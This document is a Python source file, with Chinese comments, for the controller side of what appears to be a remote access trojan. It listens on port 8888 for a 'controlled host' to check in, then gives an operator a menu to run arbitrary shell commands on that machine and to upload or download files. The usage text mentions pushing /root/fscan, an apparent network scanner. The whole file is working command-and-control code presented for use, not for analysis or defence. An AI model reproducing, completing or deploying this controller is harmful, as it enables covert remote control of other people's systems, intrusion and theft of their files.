import os
import struct
import sys
from socket import *


def ExecCommand(conn, addr):
    global result
    while True:
        try:
            command = input("[ExecCommand]>>> ")
            if command == 'exit':
                # 主控端退出相应模块时，也要通知客户端退出对应的功能模块
                conn.sendall('exit'.encode())
                break
            conn.sendall(command.encode())
            result = conn.recv(10000)
            print(result.decode('gb2312'))
        except UnicodeDecodeError:
            print(result.decode('utf-8'))
            pass


# 文件上传函数
def UploadFile(conn, addr, files_Command):
    # 把主控端的命令发送给被控端
    conn.sendall(files_Command.encode())
    # 从命令中分离出要上传的文件路径
    uploadFilePath = files_Command.split()[1]
    while True:
        if os.path.isfile(uploadFilePath):
            # 先传入文件信息，用来防止粘包
            # 定义文件信息，128s表示文件名长度为128字节，l表示用int类型表示文件大小
            # 把文件名和文件大小信息进行封装，发送给接受端
            file_Info = struct.pack('128sl', bytes(
                os.path.basename(uploadFilePath).encode('utf-8')), os.stat(uploadFilePath).st_size)
            conn.sendall(file_Info)
            print('[+]FileInfo send success! name{0} size:{1}'.format(os.path.basename(uploadFilePath),
                                                                      os.stat(uploadFilePath).st_size))
            # 开始传输文件的内容
            print('[+]start uploading...')
            with open(uploadFilePath, 'rb') as f:
                while True:
                    # 分块多次读，防止文件过大时一次性读完导致内存不足
                    data = f.read(1024)
                    if not data:
                        print("File Send Over!")
                        break
                    conn.sendall(data)
                break


# 文件传输函数
def DownLoadFile(conn, addr, files_Command):
    conn.sendall(files_Command.encode())
    while True:
        # 先接受文件的信息，进行解析
        # 长度自定义，先接受文件信息的主要原因是防止粘包
        # 接收长度为128sl
        fileInfo = conn.recv(struct.calcsize('128sl'))
        if fileInfo:
            # 按照同样的格式(128sl)拆包
            fileName, fileSize = struct.unpack('128sl', fileInfo)
            # 要把文件名后面的多余空格去除
            fileName = fileName.decode().strip('\00')
            # 定义上传文件的存放路径, ./表示当前目录
            newFileName = os.path.join('./', fileName)
            print('[+]FileInfo Receive over! name{0} size{1}'.format(fileName, fileSize))

            # 接下来开始接受文件的内容
            # 表示已经接收到的文件内容的大小
            recvdSize = 0
            print('[+] start receiving...')
            with open(newFileName, 'wb') as f:
                # 分次分块写入
                while recvdSize != fileSize:
                    if fileSize - recvdSize > 1024:
                        data = conn.recv(1024)
                        f.write(data)
                        recvdSize += len(data)
                    else:
                        # 剩下的内容不足1024时，则把剩余的内容全部都接收写入
                        data = conn.recv(fileSize - recvdSize)
                        f.write(data)
                        recvdSize = fileSize
                        break
            print("[+]File Receive over!!!")
        break


def TransferFiles(conn, addr):
    print("Usage: methd filepath")
    print("example: upload /root/fscan \n         download /root/fscan")
    while True:
        # 获取文件名
        files_Command = input("[TransferFiles]>>> ")
        # 分割指令，作为后续的判断
        files_Command_List = files_Command.split()
        if files_Command == 'exit':
            # 主控端退出相应模块时，也要通知被控端退出对应的功能模块
            conn.sendall('exit'.encode())
            break
        if files_Command_List[0] == "upload":
            UploadFile(conn, addr, files_Command)
        if files_Command_List[0] == 'download':
            DownLoadFile(conn, addr, files_Command)


if __name__ == '__main__':
    # 主控端监听地址
    serverIP = '0.0.0.0'
    # 主控监听端口
    serverPort = 8888
    serverAddr = (serverIP, serverPort)

    # 主控端开始监听
    try:
        serverSocket = socket(AF_INET, SOCK_STREAM)
        serverSocket.bind(serverAddr)
        serverSocket.listen(1)
    except error as message:
        print(message)
        sys.exit()
    print("[*] Server is up")

    conn, addr = serverSocket.accept()
    # print("conn:", conn, "   addr:", addr)
    # 接收并打印上线主机的主机名，地址和端口
    hostName = conn.recv(1024)
    print("[+]Host is up! \n ================ \n name: {0} ip: {1} \n port: {2}"
          "\n ================ \n".format(bytes.decode(hostName), addr[0], addr[1]))
    try:
        while True:
            print("Functional selection:\n")
            print("[1]ExecCommand \n[2]TransferFiles\n")
            choice = input('[None]>>>')
            # 给被控端发送指令，主控端进入相应的功能模块
            if choice == '1':
                # 发送的命令为str型，需要用encode函数把命令转换为bytes型
                conn.sendall('1'.encode())
                ExecCommand(conn, addr)
            elif choice == '2':
                conn.sendall('2'.encode())
                TransferFiles(conn, addr)
            elif choice == 'exit':
                conn.sendall('exit'.encode())
                serverSocket.close()
                break
    except error:
        serverSocket.close()
